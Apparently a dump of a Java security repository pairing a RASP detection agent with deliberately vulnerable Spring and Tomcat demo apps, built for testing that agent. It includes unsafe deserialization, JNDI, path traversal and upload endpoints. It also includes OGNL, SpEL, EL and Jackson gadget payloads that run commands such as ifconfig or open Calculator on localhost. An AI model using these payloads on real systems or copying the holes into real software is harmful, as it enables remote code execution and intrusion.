12 | OGNL("OGNL Expression"),
13 | JXpath("JXpath Expression"),
14 | JNI("JNI file load"),
15 | JNDI("JNDI Injection"),
16 | RCE("RCE"),
17 | SQL("SQL Injection"),
18 | FileUpload("File Upload"),
19 | FileRead("File Read"),
20 | FileDirectory("File Directory"),
21 |
22 | /**
23 | * MS
24 | */
25 | MSController("Spring Controller MemShell"),
26 | MSExecutor("Executor MemShell"),
27 | MSListener("Listener MemShell"),
28 | MSServlet("Servlet MemShell"),
29 | MSFilter("Filter MemShell"),
30 | ;
31 |
32 | private final String description;
33 |
34 | VulInfo(String description) {
35 | this.description = description;
36 | }
37 |
38 | public String getDescription() {
39 | return description;
40 | }
41 |
42 | }
43 |
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case02-exec.http:
--------------------------------------------------------------------------------
1 | ###
2 | # case1 runtime
3 | POST /exec/case1 HTTP/1.1
4 | Host: 127.0.0.1:8080
5 | Content-Type: application/x-www-form-urlencoded
6 |
7 | str=ifconfig
8 |
9 |
10 | ###
11 | # case2 thread
12 | POST /exec/case2 HTTP/1.1
13 | Host: 127.0.0.1:8080
14 | Content-Type: application/x-www-form-urlencoded
15 |
16 | str=ifconfig
17 |
18 |
19 | ###
20 | # case3 processImpl
21 | POST /exec/case3 HTTP/1.1
22 | Host: 127.0.0.1:8080
23 | Content-Type: application/x-www-form-urlencoded
24 |
25 | str=ifconfig
26 |
27 |
28 | ###
29 | # case4 processBuilder
30 | POST /exec/case4 HTTP/1.1
31 | Host: 127.0.0.1:8080
32 | Content-Type: application/x-www-form-urlencoded
33 |
34 | str=ifconfig
35 |
36 |
37 | ###
38 | # case5 processImplUnixProcess
39 | POST /exec/case5 HTTP/1.1
40 | Host: 127.0.0.1:8080
41 | Content-Type: application/x-www-form-urlencoded
42 |
43 | str=ifconfig
44 |
45 |
46 | ###
47 | # case6 processImplUnixProcessByUnsafeNative
48 | POST /exec/case6 HTTP/1.1
49 | Host: 127.0.0.1:8080
50 | Content-Type: application/x-www-form-urlencoded
51 |
52 | str=ifconfig
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/common/StackTracer.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.common;
2 |
3 | import java.util.ArrayList;
4 | import java.util.List;
5 |
6 | /**
7 | * @author Whoopsunix
8 | *
9 | * 获取调用栈信息
10 | */
11 | public class StackTracer {
12 | // 限制调用栈深度
13 | private static int maxStackLength = 100;
14 |
15 | /**
16 | * 获取调用栈为列表
17 | * @return
18 | */
19 | public static List getStack() {
20 | StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
21 |
22 | List stackList = new ArrayList<>();
23 | int stackLength = stackTraceElements.length;
24 | // 控制栈深度,避免超长调用链
25 | if (stackLength > maxStackLength) {
26 | stackLength = maxStackLength;
27 | }
28 | for (int i = stackLength - 1; i >= 0; i--) {
29 | stackList.add(stackTraceElements[i].toString());
30 | // 到 hook 包后不再继续获取
31 | if (stackTraceElements[i].getClassName().startsWith("com.ppprasp.agent.hook.")) {
32 | break;
33 | }
34 | }
35 |
36 | return stackList;
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/JNDIController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller;
2 |
3 | import com.ppp.vulns.core.vulns.JNDI;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.bind.annotation.ResponseBody;
7 |
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 | import java.io.IOException;
11 |
12 | /**
13 | * @author Whoopsunix
14 | */
15 | @Controller
16 | @RequestMapping("/jndi")
17 | public class JNDIController {
18 | @RequestMapping("/case1")
19 | @ResponseBody
20 | public Object case1(HttpServletRequest request, HttpServletResponse response) throws IOException {
21 | try {
22 | String url = request.getParameter("url");
23 | System.out.println(url);
24 |
25 | Object result = JNDI.lookup(url);
26 | System.out.println(result);
27 |
28 | return result;
29 | } catch (Exception e) {
30 | e.printStackTrace();
31 | }
32 | return null;
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/serialization/XStreamController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller.serialization;
2 |
3 | import com.ppp.vulns.core.vulns.serialization.XStreamDemo;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestBody;
6 | import org.springframework.web.bind.annotation.RequestMapping;
7 | import org.springframework.web.bind.annotation.ResponseBody;
8 |
9 | import javax.servlet.http.HttpServletRequest;
10 | import javax.servlet.http.HttpServletResponse;
11 | import java.io.IOException;
12 | import java.io.PrintWriter;
13 |
14 | /**
15 | * @author Whoopsunix
16 | */
17 | @Controller
18 | @RequestMapping("/xstream")
19 | public class XStreamController {
20 | @RequestMapping("/case1")
21 | @ResponseBody
22 | public void case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException {
23 | System.out.println(requestBody);
24 |
25 | Object result = XStreamDemo.deserialize(requestBody);
26 |
27 | PrintWriter writer = response.getWriter();
28 | writer.println(result);
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/check/ClassChecker.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.check;
2 |
3 | import java.io.File;
4 | import java.net.URL;
5 |
6 | /**
7 | * @author Whoopsunix
8 | */
9 | public class ClassChecker {
10 | /**
11 | * 是否存在本地 Class 文件
12 | * @param clazz
13 | * @return
14 | */
15 | public static boolean hasLocalClassFile(Class> clazz) {
16 | String className = clazz.getName();
17 | String classFileName = className.replace('.', '/') + ".class";
18 | // 使用类加载器获取类文件
19 | URL resource = clazz.getClassLoader().getResource(classFileName);
20 | if (resource == null) {
21 | return false;
22 | } else {
23 | File classFile = new File(resource.getFile());
24 | return classFile.exists();
25 | }
26 |
27 | // // 尝试从文件系统路径中查找类文件
28 | // URL location = clazz.getProtectionDomain().getCodeSource().getLocation();
29 | // if (location == null) {
30 | // return false;
31 | // } else {
32 | // File classFile = new File(location.getPath() + classFileName);
33 | // return classFile.exists();
34 | // }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/serialization/FastjsonController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller.serialization;
2 |
3 | import com.ppp.vulns.core.vulns.serialization.FastjsonDemo;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestBody;
6 | import org.springframework.web.bind.annotation.RequestMapping;
7 | import org.springframework.web.bind.annotation.ResponseBody;
8 |
9 | import javax.servlet.http.HttpServletRequest;
10 | import javax.servlet.http.HttpServletResponse;
11 | import java.io.IOException;
12 | import java.io.PrintWriter;
13 |
14 | /**
15 | * @author Whoopsunix
16 | */
17 | @Controller
18 | @RequestMapping("/fastjson")
19 | public class FastjsonController {
20 | @RequestMapping("/case1")
21 | @ResponseBody
22 | public void case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException {
23 | System.out.println(requestBody);
24 |
25 | Object result = FastjsonDemo.parseObject(requestBody);
26 |
27 | PrintWriter writer = response.getWriter();
28 | writer.println(result);
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/serialization/SnakeYamlController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller.serialization;
2 |
3 | import com.ppp.vulns.core.vulns.serialization.SnakeYamlDemo;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestBody;
6 | import org.springframework.web.bind.annotation.RequestMapping;
7 | import org.springframework.web.bind.annotation.ResponseBody;
8 |
9 | import javax.servlet.http.HttpServletRequest;
10 | import javax.servlet.http.HttpServletResponse;
11 | import java.io.IOException;
12 | import java.io.PrintWriter;
13 |
14 | /**
15 | * @author Whoopsunix
16 | */
17 | @Controller
18 | @RequestMapping("/snakeyaml")
19 | public class SnakeYamlController {
20 | @RequestMapping("/case1")
21 | @ResponseBody
22 | public void case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException {
23 | System.out.println(requestBody);
24 |
25 | Object result = SnakeYamlDemo.deserialize(requestBody);
26 |
27 | PrintWriter writer = response.getWriter();
28 | writer.println(result);
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/check/CVEChecker.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.check;
2 |
3 | import java.util.HashMap;
4 |
5 | /**
6 | * @author Whoopsunix
7 | *
8 | * CVE 黑名单检测
9 | */
10 | public class CVEChecker {
11 | public static HashMap cveStackTracer = new HashMap() {{
12 | /**
13 | * SPEL
14 | */
15 | put("org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry", "spring-messaging CVE-2018-1270, CVE-2018-1275");
16 |
17 | /**
18 | * Deserialization
19 | */
20 | put("org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler", "Apache Dubbo CVE-2019-17564");
21 | put("com.alibaba.com.caucho.hessian.io.Hessian2Input", "Apache Dubbo CVE-2020-1948");
22 | }};
23 |
24 | /**
25 | * 调用链是否包含 CVE 漏洞的触发类
26 | * @param className
27 | * @return
28 | */
29 | public static String isCVE(String className) {
30 | for (String cveClassName : cveStackTracer.keySet()) {
31 | if (className.startsWith(cveClassName)) {
32 | return cveStackTracer.get(cveClassName);
33 | }
34 | }
35 | return null;
36 | }
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/files/FileDirectoryServlet.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.javax.tomcat.servlet.files;
2 |
3 | import com.ppp.vulns.core.vulns.files.FileDirectory;
4 | import org.apache.commons.fileupload.FileItem;
5 | import org.apache.commons.fileupload.disk.DiskFileItemFactory;
6 | import org.apache.commons.fileupload.servlet.ServletFileUpload;
7 |
8 | import javax.servlet.ServletContext;
9 | import javax.servlet.annotation.MultipartConfig;
10 | import javax.servlet.annotation.WebServlet;
11 | import javax.servlet.http.HttpServlet;
12 | import javax.servlet.http.HttpServletRequest;
13 | import javax.servlet.http.HttpServletResponse;
14 | import java.io.File;
15 | import java.io.IOException;
16 | import java.util.Arrays;
17 | import java.util.List;
18 |
19 | /**
20 | * @author Whoopsunix
21 | *
22 | * 路径遍历
23 | */
24 | @MultipartConfig
25 | @WebServlet("/file/directory/case1")
26 | public class FileDirectoryServlet extends HttpServlet {
27 | @Override
28 | protected void doPost(HttpServletRequest request, HttpServletResponse response) {
29 | String filePath = FileUtils.getResourcePath() + request.getParameter("filePath");
30 | System.out.println(filePath);
31 |
32 | String[] dirs = FileDirectory.listFiles(filePath);
33 | System.out.println(Arrays.toString(dirs));
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/ppprasp-agent/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 |
8 | com.alibaba.jvm.sandbox
9 | sandbox-module-starter
10 | 1.4.0
11 |
12 |
13 |
14 | com.ppprasp.agent
15 | ppprasp-agent
16 | 1.0.0
17 |
18 |
19 |
20 |
21 | 8
22 | 8
23 |
24 |
25 |
26 |
27 | org.apache.commons
28 | commons-lang3
29 | 3.4
30 |
31 |
32 |
33 |
34 | org.yaml
35 | snakeyaml
36 | 2.2
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/Base64DeSerializerServlet.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.javax.tomcat.servlet;
2 |
3 | import javax.servlet.annotation.WebServlet;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.ByteArrayInputStream;
8 | import java.io.ObjectInputStream;
9 | import java.util.Base64;
10 |
11 | @WebServlet("/deserialization/case1/base64")
12 | public class Base64DeSerializerServlet extends HttpServlet {
13 | @Override
14 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
15 | String cmd = req.getParameter("cmd");
16 | System.out.println(cmd);
17 | }
18 |
19 | @Override
20 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
21 | try {
22 | // 反序列化
23 | String base64Str = req.getParameter("base64Str");
24 | System.out.println(base64Str);
25 | byte[] bytes = Base64.getDecoder().decode(base64Str);
26 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
27 | ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
28 | objectInputStream.readObject();
29 | } catch (Exception e) {
30 | e.printStackTrace();
31 | }
32 | }
33 |
34 | }
35 |
36 |
37 |
38 |
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case07-expression/ognl.http:
--------------------------------------------------------------------------------
1 | ###
2 | # case1 ognlGetValue
3 | POST /ognl/case1 HTTP/1.1
4 | Host: 127.0.0.1:8080
5 | Content-Type: text/plain
6 |
7 | (#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#inputStream=#process.getInputStream()).(@org.apache.commons.io.IOUtils@toString(#inputStream,'UTF-8'))
8 |
9 |
10 | ###
11 | # case2 ognlSetValue
12 | POST /ognl/case2 HTTP/1.1
13 | Host: 127.0.0.1:8080
14 | Content-Type: text/plain
15 |
16 | (@java.lang.Runtime@getRuntime().exec('open -a Calculator.app'))(a)(b)
17 |
18 |
19 | ###
20 | # case3 ognlGetValueIbatis
21 | POST /ognl/case3 HTTP/1.1
22 | Host: 127.0.0.1:8080
23 | Content-Type: text/plain
24 |
25 | (#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#inputStream=#process.getInputStream()).(@org.apache.commons.io.IOUtils@toString(#inputStream,'UTF-8'))
26 |
27 |
28 | ###
29 | # case4 ognlSetValueIbatis
30 | POST /ognl/case4 HTTP/1.1
31 | Host: 127.0.0.1:8080
32 | Content-Type: text/plain
33 |
34 | (@java.lang.Runtime@getRuntime().exec('open -a Calculator.app'))(a)(b)
35 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/files/FileUpload2Servlet.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.javax.tomcat.servlet.files;
2 |
3 | import javax.servlet.ServletContext;
4 | import javax.servlet.annotation.MultipartConfig;
5 | import javax.servlet.annotation.WebServlet;
6 | import javax.servlet.http.HttpServlet;
7 | import javax.servlet.http.HttpServletRequest;
8 | import javax.servlet.http.HttpServletResponse;
9 | import javax.servlet.http.Part;
10 |
11 | /**
12 | * @author Whoopsunix
13 | */
14 | @MultipartConfig
15 | @WebServlet("/file/upload/case4")
16 | public class FileUpload2Servlet extends HttpServlet {
17 | @Override
18 | protected void doPost(HttpServletRequest request, HttpServletResponse response) {
19 | try {
20 | Part file = request.getPart("file");
21 | String fileName = file.getSubmittedFileName();
22 | System.out.println(fileName);
23 |
24 | // 获取 ServletContext 对象
25 | ServletContext servletContext = getServletContext();
26 |
27 | // 获取 WEB-INF 目录下的资源路径
28 | String resourcePath = "/WEB-INF/";
29 |
30 | // 获取资源的真实路径
31 | String uploadPath = servletContext.getRealPath(resourcePath) + "upload/";
32 | System.out.println(uploadPath);
33 |
34 | String filePath = uploadPath + fileName;
35 | file.write(filePath);
36 |
37 | } catch (Exception e) {
38 |
39 | }
40 |
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/files/FileDirectoryController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller.files;
2 |
3 | import com.ppp.vulns.core.vulns.files.FileDirectory;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.bind.annotation.ResponseBody;
7 |
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 | import java.io.IOException;
11 |
12 | /**
13 | * @author Whoopsunix
14 | *
15 | */
16 | @Controller
17 | @RequestMapping("/file/directory")
18 | public class FileDirectoryController {
19 |
20 | @RequestMapping("/case1")
21 | @ResponseBody
22 | public Object case1(HttpServletRequest request, HttpServletResponse response) throws IOException {
23 | String filePath = FileUtils.getResourcePath() + request.getParameter("filePath");
24 | System.out.println(filePath);
25 |
26 | String[] dirs = FileDirectory.listFiles(filePath);
27 | return dirs;
28 | }
29 |
30 | @RequestMapping("/case2")
31 | @ResponseBody
32 | public Object case2(HttpServletRequest request, HttpServletResponse response) throws IOException {
33 | String filePath = FileUtils.getResourcePath() + request.getParameter("filePath");
34 | System.out.println(filePath);
35 |
36 | String[] dirs = FileDirectory.list(filePath);
37 | return dirs;
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/SecVulns/TomcatDemo/src/main/webapp/expression/index.jsp:
--------------------------------------------------------------------------------
1 | <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8" %>
2 |
3 | <%-- 测试用 --%>
4 |
5 | <%--${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami")}--%>
6 |
7 | ${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("hostname").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/safe/SPEL.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.safe;
2 |
3 | import org.springframework.expression.EvaluationContext;
4 | import org.springframework.expression.Expression;
5 | import org.springframework.expression.spel.standard.SpelExpressionParser;
6 | import org.springframework.expression.spel.support.SimpleEvaluationContext;
7 | import org.springframework.expression.spel.support.StandardEvaluationContext;
8 |
9 | /**
10 | * @author Whoopsunix
11 | */
12 | public class SPEL {
13 |
14 | public static void main(String[] args) {
15 | String runtimeEcho = "new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter(\"\\\\A\").next()";
16 | Object obj = spelSimpleEvaluationContext(runtimeEcho);
17 | System.out.println(obj);
18 | }
19 |
20 | /**
21 | * SimpleEvaluationContext
22 | */
23 | public static Object spelSimpleEvaluationContext(String payload) {
24 | EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
25 | return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext);
26 | }
27 |
28 | public static Object spelSafe(String payload) {
29 | StandardEvaluationContext context = new StandardEvaluationContext();
30 | context.setVariable("payload", payload);
31 | Expression expression = new SpelExpressionParser().parseExpression("#payload");
32 | return expression.getValue(context);
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/inject/sql/Users.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns.inject.sql;
2 |
3 | import javax.persistence.Column;
4 | import javax.persistence.Entity;
5 | import javax.persistence.Id;
6 | import javax.persistence.Table;
7 |
8 | /**
9 | * @author Whoopsunix
10 | */
11 | @Entity
12 | @Table(name = "users")
13 | public class Users {
14 | @Id
15 | private Integer id;
16 | @Column
17 | private String username;
18 | @Column
19 | private String password;
20 |
21 | public Users() {
22 | }
23 |
24 | public Users(Integer id, String username, String password) {
25 | this.id = id;
26 | this.username = username;
27 | this.password = password;
28 | }
29 |
30 | public Integer getId() {
31 | return id;
32 | }
33 |
34 | public void setId(Integer id) {
35 | this.id = id;
36 | }
37 |
38 | public String getUsername() {
39 | return username;
40 | }
41 |
42 | public void setUsername(String username) {
43 | this.username = username;
44 | }
45 |
46 | public String getPassword() {
47 | return password;
48 | }
49 |
50 | public void setPassword(String password) {
51 | this.password = password;
52 | }
53 |
54 | @Override
55 | public String toString() {
56 | return "Users{" +
57 | "id=" + id +
58 | ", username='" + username + '\'' +
59 | ", password='" + password + '\'' +
60 | '}';
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/serialization/Original.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns.serialization;
2 |
3 | import java.io.*;
4 | import java.util.zip.GZIPInputStream;
5 |
6 | /**
7 | * @author Whoopsunix
8 | */
9 | public class Original {
10 | public static Object deserializeByte(final byte[] serialized) throws IOException, ClassNotFoundException {
11 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
12 | return deserialize(in);
13 | }
14 |
15 | public static Object deserializeBase64(final String base64Str) throws IOException, ClassNotFoundException {
16 | final byte[] serialized = new sun.misc.BASE64Decoder().decodeBuffer(base64Str);
17 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
18 | return deserialize(in);
19 | }
20 |
21 | public static Object deserializeBase64GZip(final String base64Str) throws IOException, ClassNotFoundException {
22 | final byte[] serialized = new sun.misc.BASE64Decoder().decodeBuffer(base64Str);
23 | ByteArrayInputStream byteStream = new ByteArrayInputStream(serialized);
24 | GZIPInputStream gzipStream = new GZIPInputStream(byteStream);
25 | ObjectInput objectInput = new ObjectInputStream(gzipStream);
26 | return objectInput.readObject();
27 | }
28 |
29 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
30 | final ObjectInputStream objIn = new ObjectInputStream(in);
31 | return objIn.readObject();
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/expression/SPEL.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns.expression;
2 |
3 | import org.springframework.context.expression.MethodBasedEvaluationContext;
4 | import org.springframework.expression.EvaluationContext;
5 | import org.springframework.expression.spel.standard.SpelExpressionParser;
6 | import org.springframework.expression.spel.support.StandardEvaluationContext;
7 | /**
8 | * @author Whoopsunix
9 | */
10 | public class SPEL {
11 |
12 | public static void main(String[] args) {
13 | String runtimeEcho = "new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter(\"\\\\A\").next()";
14 | Object obj = spelMethodBasedEvaluationContext(runtimeEcho);
15 | System.out.println(obj);
16 | }
17 |
18 | public static Object spel(String payload) {
19 | return new SpelExpressionParser().parseExpression(payload).getValue();
20 | }
21 |
22 | /**
23 | * 默认也是用的 StandardEvaluationContext
24 | */
25 | public static Object spelStandardEvaluationContext(String payload) {
26 | EvaluationContext evaluationContext = new StandardEvaluationContext();
27 | return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext);
28 | }
29 |
30 | public static Object spelMethodBasedEvaluationContext(String payload) {
31 | EvaluationContext evaluationContext = new MethodBasedEvaluationContext(null, null, null, null);
32 | return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext);
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/serialization/JacksonDemo.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns.serialization;
2 |
3 | import com.fasterxml.jackson.annotation.JsonTypeInfo;
4 | import com.fasterxml.jackson.databind.ObjectMapper;
5 |
6 | /**
7 | * @author Whoopsunix
8 | */
9 | public class JacksonDemo {
10 |
11 | public static void main(String[] args) throws Exception {
12 | readValue("{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/ehyo2t\",\"autoCommit\":true}");
13 | }
14 | public static Object readValue(String json) {
15 | try {
16 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
17 | ObjectMapper objectMapper = new ObjectMapper();
18 | objectMapper.enableDefaultTyping();
19 | objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
20 |
21 | // 用ObjectMapper.disableDefaultTyping()设置为只允许@JsonTypeInfo生效
22 | // objectMapper.disableDefaultTyping();
23 |
24 | // Method disableDefaultTypingM = objectMapper.getClass().getMethod("disableDefaultTyping");
25 | // disableDefaultTypingM.invoke(objectMapper);
26 |
27 | // json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/ehyo2t\",\"autoCommit\":true}";
28 | System.out.println(json);
29 | Object object = objectMapper.readValue(json, Object.class);
30 | return object;
31 | }catch (Exception e){
32 | e.printStackTrace();
33 | }
34 | return null;
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/SecVulns/TomcatDemo/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 | Archetype Created Web Application
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/resources/raspConfig.yml:
--------------------------------------------------------------------------------
1 | # 反序列化
2 | rasp-deserialization:
3 | # 是否启用该检测 true false
4 | enable: true
5 | # open 开启 closed 关闭 log 只记录不拦截
6 | algorithms:
7 | resolveClass: open
8 | xml: open
9 |
10 | # 表达式注入
11 | rasp-expression:
12 | # 是否启用该检测 true false
13 | enable: true
14 | # open 开启 closed 关闭 log 只记录不拦截
15 | algorithms:
16 | spel: open
17 | ognl: open
18 | jxpath: open
19 |
20 | # jndi 注入
21 | rasp-jndi:
22 | # 是否启用该检测 true false
23 | enable: true
24 | # open 开启 closed 关闭 log 只记录不拦截
25 | algorithms:
26 | lookup: open
27 |
28 | # jni 注入
29 | rasp-jni:
30 | # 是否启用该检测 true false
31 | enable: true
32 | # open 开启 closed 关闭 log 只记录不拦截
33 | algorithms:
34 | loadLibrary: open
35 |
36 | # 命令执行
37 | rasp-rce:
38 | # 是否启用该检测 true false
39 | enable: true
40 | # open 开启 closed 关闭 log 只记录不拦截
41 | algorithms:
42 | normal: open
43 | native: open
44 |
45 | # SQL 注入
46 | rasp-sql:
47 | # 是否启用该检测 true false
48 | enable: true
49 | # open 开启 closed 关闭 log 只记录不拦截
50 | algorithms:
51 | mysql: open
52 |
53 | # 文件上传
54 | rasp-file-upload:
55 | # 是否启用该检测 true false
56 | enable: true
57 | # open 开启 closed 关闭 log 只记录不拦截
58 | algorithms:
59 | fileItem: open
60 |
61 | # 路径遍历
62 | rasp-file-directory:
63 | # 是否启用该检测 true false
64 | enable: true
65 | # open 开启 closed 关闭 log 只记录不拦截
66 | algorithms:
67 | list: open
68 |
69 | ##
70 | ## 内存马
71 | ##
72 | rasp-ms:
73 | # 是否启用该检测 true false
74 | enable: true
75 | # open 开启 closed 关闭 log 只记录不拦截
76 | algorithms:
77 | spring-controller: open
78 | tomcat-executor: open
79 | tomcat-listener: open
80 | tomcat-servlet: open
81 | tomcat-filter: open
82 | jetty-listener: open
83 |
84 |
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case04-files/upload.http:
--------------------------------------------------------------------------------
1 | ### springboot2
2 | # Upload
3 | POST /file/upload/case1 HTTP/1.1
4 | Host: 127.0.0.1:8080
5 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
6 |
7 | ------WebKitFormBoundary7MA4YWxkTrZu0gW
8 | Content-Disposition: form-data; name="file"; filename="1.txt"
9 | Content-Type: application/octet-stream
10 |
11 | < ./1.txt
12 | ------WebKitFormBoundary7MA4YWxkTrZu0gW--
13 |
14 |
15 | ### springboot2
16 | # Upload org.springframework.web.multipart.commons.CommonsMultipartFile#transferTo(java.io.File)
17 | POST /file/upload/case2 HTTP/1.1
18 | Host: 127.0.0.1:8080
19 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
20 |
21 | ------WebKitFormBoundary7MA4YWxkTrZu0gW
22 | Content-Disposition: form-data; name="file"; filename="1.txt"
23 | Content-Type: application/octet-stream
24 |
25 | < ./1.txt
